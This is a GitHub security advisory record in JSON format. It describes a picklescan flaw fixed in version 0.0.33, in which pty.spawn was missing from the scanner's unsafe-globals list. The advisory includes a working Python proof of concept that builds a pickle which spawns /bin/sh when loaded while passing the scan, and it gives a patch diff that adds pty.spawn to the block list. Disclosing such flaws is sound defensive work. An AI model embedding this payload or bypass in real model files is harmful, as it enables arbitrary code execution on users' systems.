{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.33"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-29T15:26:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe vulnerability allows malicious actors to bypass PickleScan\u0027s unsafe globals check, leading to potential arbitrary code execution. The issue stems from the absence of the `pty` library (more specifically, of  the `pty.spawn` function) from PickleScan\u0027s list of unsafe globals. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats.\n\n### Details\nFor 2025\u0027s [HeroCTF](https://heroctf.fr/), there was a challenge named Irreductible 2 where players would need to bypass the latest versions of PickleScan and [Fickling](https://github.com/trailofbits/fickling/) to gain code execution. The challenge [writeup](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/README.md), [files](https://github.com/HeroCTF/HeroCTF_v7/tree/master/Misc/Irreductible-2) and [solve script](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/solve.py) have all been released.\n\nThe intended way was to use `pty.spawn` but some players found alternative solutions.\n\n### PoC\n\n- Run the following Python code to generate the PoC pickle file.\n\n```py\nimport pickle\n\ncommand = b\"/bin/sh\"\n\npayload = b\"\".join(\n    [\n        pickle.PROTO + pickle.pack(\"B\", 4),\n        pickle.MARK,\n        pickle.GLOBAL + b\"pty\\n\" + b\"spawn\\n\",\n        pickle.EMPTY_LIST,\n        pickle.SHORT_BINUNICODE + pickle.pack(\"B\", len(command)) + command,\n        pickle.APPEND,\n        # Additional arguments can be passed by repeating the SHORT_BINUNICODE + APPEND opcodes\n        pickle.OBJ,\n        pickle.STOP,\n    ]\n)\n\nwith open(\"dump.pkl\", \"wb\") as f:\n    f.write(payload)\n```\n\n- Run PickleScan on the generated pickle file.\n\u003cimg width=\"936\" height=\"311\" alt=\"picklescan_bypass_pty_spawn\" src=\"https://github.com/user-attachments/assets/0d6430e4-a7e5-461c-9d75-c607f6886c9f\" /\u003e\n\nPickleScan detects the `pty.spawn` global as \"suspicious\" but not \"dangerous\", allowing it to be loaded.\n\n### Impact\n**Severity**: High\n**Affected Users**: Any organization, like HuggingFace, or individual using PickleScan to analyze PyTorch models or other files distributed as ZIP archives for malicious pickle content.\n**Impact Details**: Attackers can craft malicious PyTorch models containing embedded pickle payloads and bypass the PickleScan check by using the `pty.spawn` function. This could lead to arbitrary code execution on the user\u0027s system when these malicious files are processed or loaded.\n\n### Suggested Patch\n\n```\ndiff --git a/src/picklescan/scanner.py b/src/picklescan/scanner.py\nindex 34a5715..b434069 100644\n--- a/src/picklescan/scanner.py\n+++ b/src/picklescan/scanner.py\n@@ -150,6 +150,7 @@ _unsafe_globals = {\n     \"_pickle\": \"*\",\n     \"pip\": \"*\",\n     \"profile\": {\"Profile.run\", \"Profile.runctx\"},\n+    \"pty\": \"spawn\",\n     \"pydoc\": \"pipepager\",  # pydoc.pipepager(\u0027help\u0027,\u0027echo pwned\u0027)\n     \"timeit\": \"*\",\n     \"torch._dynamo.guards\": {\"GuardBuilder.get\"},\n```",
  "id": "GHSA-hgrh-qx5j-jfwx",
  "modified": "2025-12-29T15:26:37Z",
  "published": "2025-12-29T15:26:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-hgrh-qx5j-jfwx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/pull/53"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Picklescan Bypasses Unsafe Globals Check using pty.spawn"
}